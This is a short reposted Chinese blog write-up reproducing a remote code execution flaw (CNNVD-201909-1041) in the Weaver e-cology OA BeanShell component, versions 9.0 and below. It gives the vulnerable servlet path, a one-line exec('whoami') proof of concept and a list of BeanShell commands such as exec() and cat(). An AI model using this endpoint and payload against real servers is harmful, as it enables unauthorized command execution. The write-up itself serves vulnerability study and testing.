泛微e-cology OA Beanshell组件远程代码执行漏洞复现CNNVD-201909-1041

最新推荐文章于 2024-08-10 16:05:10 发布

转载

最新推荐文章于 2024-08-10 16:05:10 发布 · 781 阅读

1 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/mrhonest/p/11575118.html

文章标签：

#java

本文介绍了泛微e-cology OA系统中Beanshell组件存在的远程代码执行漏洞，主要涉及影响版本为9.0及以下。文章通过详细步骤展示了漏洞的复现过程，并提供了POC（Proof of Concept）代码。此外，还引用了相关资源以供进一步研究。

靶机

影响版本泛微e-cology<=9.0

https://github.com/jas502n/e-cology

部署

复现

/weaver/bsh.servlet.BshServlet

POC

exec("whoami")

这是BeanShell命令的其他一些示例

source（），run（）-将bsh脚本读入该解释器，或在新的解释器中运行
frame（）-在Frame或JFrame中显示GUI组件。
load（），save（）-将可序列化的对象加载或保存到文件中。
cd（），cat（），dir（），pwd（）等-类似于Unix的shell命令
exec（）-运行本机应用程序
javap（）-打印对象的方法和字段，类似于Java javap命令的输出。
setAccessibility（）-打开对私有组件和受保护组件的无限制访问。